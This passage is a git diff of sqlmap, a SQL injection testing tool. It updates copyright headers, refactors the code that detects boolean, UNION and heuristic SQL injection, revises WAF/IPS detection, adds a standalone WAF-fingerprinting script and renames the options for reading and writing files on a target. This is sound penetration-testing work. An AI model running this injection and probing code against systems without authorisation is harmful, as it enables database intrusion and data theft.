2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission import codecs @@ -27,7 +27,7 @@ SMTP_PORT = 25 SMTP_TIMEOUT = 30 FROM = "regressiontest@sqlmap.org" -#TO = "dev@sqlmap.org" +# TO = "dev@sqlmap.org" TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber()) TARGET = "debian" @@ -83,7 +83,7 @@ def main(): if stderr: failure_email("Execution of regression test failed with error:\n\n%s" % stderr) - failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout) + failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout) for failed_test in failed_tests: title = failed_test[0] diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/extra/sqlharvest/__init__.py +++ b/extra/sqlharvest/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py index 7c7aa56ed93..21ec3291cfd 100644 --- a/extra/sqlharvest/sqlharvest.py +++ b/extra/sqlharvest/sqlharvest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/extra/wafdetectify/__init__.py b/extra/wafdetectify/__init__.py new file mode 100644 index 00000000000..c654cbef7f4 --- /dev/null +++ b/extra/wafdetectify/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py new file mode 100644 index 00000000000..3842ad23738 --- /dev/null +++ b/extra/wafdetectify/wafdetectify.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import cookielib +import glob +import httplib +import inspect +import os +import re +import subprocess +import sys +import urllib2 + +sys.dont_write_bytecode = True + +NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)" +TIMEOUT = 10 +HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"} +SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..")) +SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf") +LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"} +CACHE = {} +WAF_FUNCTIONS = [] + +def get_page(get=None, url=None, host=None, data=None): + key = (get, url, host, data) + + if key in CACHE: + return CACHE[key] + + page, headers, code = None, {}, httplib.OK + + url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1]) + if not url.startswith("http"): + url = "http://%s" % url + + try: + req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS) + conn = urllib2.urlopen(req, timeout=TIMEOUT) + page = conn.read() + headers = conn.info() + except Exception, ex: + code = getattr(ex, "code", None) + page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "") + headers = ex.info() if hasattr(ex, "info") else {} + + result = CACHE[key] = page, headers, code + + return result + +def colorize(message): + if not subprocess.mswindows and sys.stdout.isatty(): + message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message) + message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m") + message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME) + + return message + +def main(): + global WAF_FUNCTIONS + + print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)) + + if len(sys.argv) < 2: + exit(colorize("[x] usage: python %s " % os.path.split(__file__)[-1])) + + cookie_jar = cookielib.CookieJar() + opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar)) + urllib2.install_opener(opener) + + sys.path.insert(0, SQLMAP_DIR) + + for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")): + dirname, filename = os.path.split(found) + dirname = os.path.abspath(dirname) + + if filename == "__init__.py": + continue + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + if filename[:-3] in sys.modules: + del sys.modules[filename[:-3]] + module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8")) + except ImportError, msg: + exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg))) + + _ = dict(inspect.getmembers(module)) + if "detect" not in _: + exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found)) + else: + WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3]))) + + WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower()) + + print colorize("[i] checking '%s'..." % sys.argv[1]) + + found = False + for function, product in WAF_FUNCTIONS: + if found and "unknown" in product.lower(): + continue + + if function(get_page): + print colorize("[!] WAF/IPS identified as '%s'" % product) + found = True + + if not found: + print colorize("[o] nothing found") + + print + + exit(int(not found)) + +if __name__ == "__main__": + main() diff --git a/lib/__init__.py b/lib/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/controller/action.py b/lib/controller/action.py index a05e8f7f4ed..933057a5701 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -140,11 +140,11 @@ def action(): conf.dbmsHandler.udfInjectCustom() # File system options - if conf.rFile: - conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile)) + if conf.fileRead: + conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead)) - if conf.wFile: - conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType) + if conf.fileWrite: + conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType) # Operating system options if conf.osCmd: diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 7af2e01ea57..63194d46b10 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -13,6 +13,7 @@ import re import socket import subprocess +import sys import tempfile import time @@ -47,6 +48,7 @@ from lib.core.common import urlencode from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError +from lib.core.convert import unicodeencode from lib.core.defaults import defaults from lib.core.data import conf from lib.core.data import kb @@ -54,6 +56,7 @@ from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict from lib.core.decorators import cachedmethod +from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS @@ -66,11 +69,14 @@ from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import REDIRECTION +from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BOUNDED_INJECTION_MARKER from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CHECK_INTERNET_ADDRESS from lib.core.settings import CHECK_INTERNET_VALUE @@ -85,9 +91,12 @@ from lib.core.settings import IDS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH +from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS +from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUPPORTED_DBMS +from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import UPPER_RATIO_BOUND from lib.core.threads import getCurrentThreadData @@ -146,8 +155,7 @@ def checkSqlInjection(place, parameter, value): # error message, simple heuristic check or via DBMS-specific # payload), ask the user to limit the tests to the fingerprinted # DBMS - if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \ - SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): + if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] @@ -156,9 +164,7 @@ def checkSqlInjection(place, parameter, value): # message, via simple heuristic check or via DBMS-specific # payload), ask the user to extend the tests to all DBMS-specific, # regardless of --level and --risk values provided - if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \ - and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \ - kb.heuristicDbms or injection.dbms): + if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): msg = "for the remaining tests, do you want to include all tests " msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "level (%d)" % conf.level if conf.level < 5 else "" @@ -206,7 +212,7 @@ def checkSqlInjection(place, parameter, value): continue match = re.search(r"(\d+)-(\d+)", test.request.columns) - if injection.data and match: + if match and injection.data: lower, upper = int(match.group(1)), int(match.group(2)) for _ in (lower, upper): if _ > 1: @@ -242,9 +248,7 @@ def checkSqlInjection(place, parameter, value): # Skip tests if title, vector or DBMS is not included by the # given test filter - if conf.testFilter and not any(conf.testFilter in str(item) or \ - re.search(conf.testFilter, str(item), re.I) for item in \ - (test.title, test.vector, payloadDbms)): + if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is not included by the given filter" logger.debug(debugMsg) @@ -252,9 +256,7 @@ def checkSqlInjection(place, parameter, value): # Skip tests if title, vector or DBMS is included by the # given skip filter - if conf.testSkip and any(conf.testSkip in str(item) or \ - re.search(conf.testSkip, str(item), re.I) for item in \ - (test.title, test.vector, payloadDbms)): + if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is included by the given skip filter" logger.debug(debugMsg) @@ -336,6 +338,23 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue + if stype == PAYLOAD.TECHNIQUE.UNION: + match = re.search(r"(\d+)-(\d+)", test.request.columns) + if match and not injection.data: + _ = test.request.columns.split('-')[-1] + if conf.uCols is None and _.isdigit() and int(_) > 10: + if kb.futileUnion is None: + msg = "it is not recommended to perform " + msg += "extended UNION tests if there is not " + msg += "at least one other (potential) " + msg += "technique found. Do you want to skip? [Y/n] " + kb.futileUnion = not readInput(msg, default='Y', boolean=True) + + if kb.futileUnion is False: + debugMsg = "skipping test '%s'" % title + logger.debug(debugMsg) + continue + infoMsg = "testing '%s'" % title logger.info(infoMsg) @@ -345,7 +364,7 @@ def checkSqlInjection(place, parameter, value): # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None - fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) + fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) for boundary in boundaries: injectable = False @@ -421,7 +440,7 @@ def checkSqlInjection(place, parameter, value): if conf.invalidLogical: _ = int(kb.data.randomInt[:2]) - origValue = "%s AND %s=%s" % (value, _, _ + 1) + origValue = "%s AND %s LIKE %s" % (value, _, _ + 1) elif conf.invalidBignum: origValue = kb.data.randomInt[:6] elif conf.invalidString: @@ -442,11 +461,13 @@ def checkSqlInjection(place, parameter, value): boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) + if reqPayload: - if reqPayload in seenPayload: + stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?.\g<4>", reqPayload) + if stripPayload in seenPayload: continue else: - seenPayload.add(reqPayload) + seenPayload.add(stripPayload) else: reqPayload = None @@ -454,13 +475,13 @@ def checkSqlInjection(place, parameter, value): # payload was successful # Parse test's for method, check in test.response.items(): - check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) + check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): - sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) + sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) # Forge response payload by prepending with # boundary's prefix and appending the boundary's @@ -498,12 +519,16 @@ def genCmpPayload(): errorResult = Request.queryPage(errorPayload, place, raise404=False) if errorResult: continue - elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): _ = comparison(kb.heuristicPage, None, getRatioValue=True) if _ > kb.matchRatio: kb.matchRatio = _ logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio) + # Reducing false-positive "appears" messages in heavily dynamic environment + if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False): + continue + injectable = True elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): @@ -540,14 +565,14 @@ def genCmpPayload(): logger.info(infoMsg) else: trueSet = set(extractTextTagContent(trueRawResponse)) - trueSet = trueSet.union(__ for _ in trueSet for __ in _.split()) + trueSet |= set(__ for _ in trueSet for __ in _.split()) falseSet = set(extractTextTagContent(falseRawResponse)) - falseSet = falseSet.union(__ for _ in falseSet for __ in _.split()) + falseSet |= set(__ for _ in falseSet for __ in _.split()) if threadData.lastErrorPage and threadData.lastErrorPage[1]: errorSet = set(extractTextTagContent(threadData.lastErrorPage[1])) - errorSet = errorSet.union(__ for _ in errorSet for __ in _.split()) + errorSet |= set(__ for _ in errorSet for __ in _.split()) else: errorSet = set() @@ -588,10 +613,10 @@ def genCmpPayload(): # body for the test's regular expression try: page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False) - output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \ - or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) + output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) + output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: result = output == "1" @@ -660,18 +685,6 @@ def genCmpPayload(): infoMsg += "there is at least one other (potential) " infoMsg += "technique found" singleTimeLogMessage(infoMsg) - elif not injection.data: - _ = test.request.columns.split('-')[-1] - if _.isdigit() and int(_) > 10: - if kb.futileUnion is None: - msg = "it is not recommended to perform " - msg += "extended UNION tests if there is not " - msg += "at least one other (potential) " - msg += "technique found. Do you want to skip? [Y/n] " - - kb.futileUnion = not readInput(msg, default='Y', boolean=True) - if kb.futileUnion is False: - continue # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) @@ -688,7 +701,7 @@ def genCmpPayload(): kb.previousMethod = method - if conf.dummy or conf.offline: + if conf.offline: injectable = False # If the injection test was successful feed the injection @@ -755,7 +768,7 @@ def genCmpPayload(): infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert logger.info(infoMsg) - process = subprocess.Popen(conf.alert, shell=True) + process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True) process.wait() kb.alerted = True @@ -777,7 +790,7 @@ def genCmpPayload(): if conf.multipleTargets: msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" - choice = readInput(msg, default='T', checkBatch=False).upper() + choice = readInput(msg, default='X', checkBatch=False).upper() else: msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" choice = readInput(msg, default='S', checkBatch=False).upper() @@ -830,6 +843,7 @@ def genCmpPayload(): return injection +@stackedmethod def heuristicCheckDbms(injection): """ This functions is called when boolean-based blind is identified with a @@ -849,8 +863,8 @@ def heuristicCheckDbms(injection): if conf.noEscape and dbms not in FROM_DUMMY_TABLE: continue - if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): - if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): + if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): + if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): retVal = dbms break @@ -866,6 +880,7 @@ def heuristicCheckDbms(injection): return retVal +@stackedmethod def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) @@ -873,8 +888,7 @@ def checkFalsePositives(injection): retVal = True - if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\ - (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): + if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place @@ -886,7 +900,7 @@ def _(): kb.injection = injection - for i in xrange(conf.level): + for level in xrange(conf.level): while True: randInt1, randInt2, randInt3 = (_() for j in xrange(3)) @@ -928,6 +942,7 @@ def _(): return retVal +@stackedmethod def checkSuhosinPatch(injection): """ Checks for existence of Suhosin-patch (and alike) protection mechanism(s) @@ -951,6 +966,7 @@ def checkSuhosinPatch(injection): kb.injection = popValue() +@stackedmethod def checkFilteredChars(injection): debugMsg = "checking for filtered characters" logger.debug(debugMsg) @@ -971,7 +987,7 @@ def checkFilteredChars(injection): # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): - if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)): + if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): warnMsg = "it appears that the character '>' is " warnMsg += "filtered by the back-end server. You are strongly " warnMsg += "advised to rerun with the '--tamper=between'" @@ -980,8 +996,8 @@ def checkFilteredChars(injection): kb.injection = popValue() def heuristicCheckSqlInjection(place, parameter): - if kb.nullConnection: - debugMsg = "heuristic check skipped because NULL connection used" + if kb.heavilyDynamic: + debugMsg = "heuristic check skipped because of heavy dynamicity" logger.debug(debugMsg) return None @@ -1037,9 +1053,19 @@ def _(page): kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE if casting: - errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type") - errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter) - errMsg += "at the back-end web application" + errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type") + + platform = conf.url.split('.')[-1].lower() + if platform == WEB_PLATFORM.ASP: + errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter) + elif platform == WEB_PLATFORM.ASPX: + errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter) + elif platform == WEB_PLATFORM.JSP: + errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter) + else: + errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter) + + errMsg += "') at the back-end web application" logger.error(errMsg) if kb.ignoreCasted is None: @@ -1104,14 +1130,6 @@ def checkDynParam(place, parameter, value): try: payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) - - if not dynResult: - infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter) - logger.info(infoMsg) - - randInt = randomInt() - payload = agent.payload(place, parameter, value, getUnicode(randInt)) - dynResult = Request.queryPage(payload, place, raise404=False) except SqlmapConnectionException: pass @@ -1171,6 +1189,8 @@ def checkDynamicContent(firstPage, secondPage): warnMsg += "sqlmap is going to retry the request(s)" singleTimeLogMessage(warnMsg, logging.CRITICAL) + kb.heavilyDynamic = True + secondPage, _, _ = Request.queryPage(content=True) findDynamicContent(firstPage, secondPage) @@ -1213,7 +1233,7 @@ def checkStability(): logger.error(errMsg) else: - warnMsg = "target URL content is not stable. sqlmap will base the page " + warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page " warnMsg += "comparison on a sequence matcher. If no dynamic nor " warnMsg += "injectable parameters are detected, or in case of " warnMsg += "junk results, refer to user's manual paragraph " @@ -1298,14 +1318,14 @@ def checkRegexp(): rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) if not re.search(conf.regexp, rawResponse, re.I | re.M): - warnMsg = "you provided '%s' as the regular expression to " % conf.regexp - warnMsg += "match, but such a regular expression does not have any " - warnMsg += "match within the target URL raw response, sqlmap " + warnMsg = "you provided '%s' as the regular expression " % conf.regexp + warnMsg += "which does not have any match within the target URL raw response. sqlmap " warnMsg += "will carry on anyway" logger.warn(warnMsg) return True +@stackedmethod def checkWaf(): """ Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse @@ -1318,7 +1338,7 @@ def checkWaf(): if _ is not None: if _: warnMsg = "previous heuristics detected that the target " - warnMsg += "is protected by some kind of WAF/IPS/IDS" + warnMsg += "is protected by some kind of WAF/IPS" logger.critical(warnMsg) return _ @@ -1326,34 +1346,47 @@ def checkWaf(): return None infoMsg = "checking if the target is protected by " - infoMsg += "some kind of WAF/IPS/IDS" + infoMsg += "some kind of WAF/IPS" logger.info(infoMsg) retVal = False payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) - value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER - value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload)) + if PLACE.URI in conf.parameters: + place = PLACE.POST + value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) + else: + place = PLACE.GET + value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER + value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) + pushValue(kb.redirectChoice) + pushValue(kb.resendPostOnRedirect) pushValue(conf.timeout) + + kb.redirectChoice = REDIRECTION.YES + kb.resendPostOnRedirect = False conf.timeout = IDS_WAF_CHECK_TIMEOUT try: - retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO + retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO except SqlmapConnectionException: retVal = True finally: kb.matchRatio = None + conf.timeout = popValue() + kb.resendPostOnRedirect = popValue() + kb.redirectChoice = popValue() if retVal: warnMsg = "heuristics detected that the target " - warnMsg += "is protected by some kind of WAF/IPS/IDS" + warnMsg += "is protected by some kind of WAF/IPS" logger.critical(warnMsg) if not conf.identifyWaf: message = "do you want sqlmap to try to detect backend " - message += "WAF/IPS/IDS? [y/N] " + message += "WAF/IPS? [y/N] " if readInput(message, default='N', boolean=True): conf.identifyWaf = True @@ -1366,6 +1399,7 @@ def checkWaf(): return retVal +@stackedmethod def identifyWaf(): if not conf.identifyWaf: return None @@ -1376,7 +1410,7 @@ def identifyWaf(): kb.testMode = True infoMsg = "using WAF scripts to detect " - infoMsg += "backend WAF/IPS/IDS protection" + infoMsg += "backend WAF/IPS protection" logger.info(infoMsg) @cachedmethod @@ -1403,7 +1437,7 @@ def _(*args, **kwargs): continue try: - logger.debug("checking for WAF/IPS/IDS product '%s'" % product) + logger.debug("checking for WAF/IPS product '%s'" % product) found = function(_) except Exception, ex: errMsg = "exception occurred while running " @@ -1413,19 +1447,19 @@ def _(*args, **kwargs): found = False if found: - errMsg = "WAF/IPS/IDS identified as '%s'" % product + errMsg = "WAF/IPS identified as '%s'" % product logger.critical(errMsg) retVal.append(product) if retVal: - if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower(): + if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE) os.close(handle) with openFile(filename, "w+b") as f: f.write(kb.wafSpecificResponse) - message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename + message = "WAF/IPS specific response can be found in '%s'. " % filename message += "If you know the details on used protection please " message += "report it along with specific response " message += "to '%s'" % DEV_EMAIL_ADDRESS @@ -1442,7 +1476,7 @@ def _(*args, **kwargs): if not choice: raise SqlmapUserQuitException else: - warnMsg = "WAF/IPS/IDS product hasn't been identified" + warnMsg = "WAF/IPS product hasn't been identified" logger.warn(warnMsg) kb.testType = None @@ -1450,6 +1484,7 @@ def 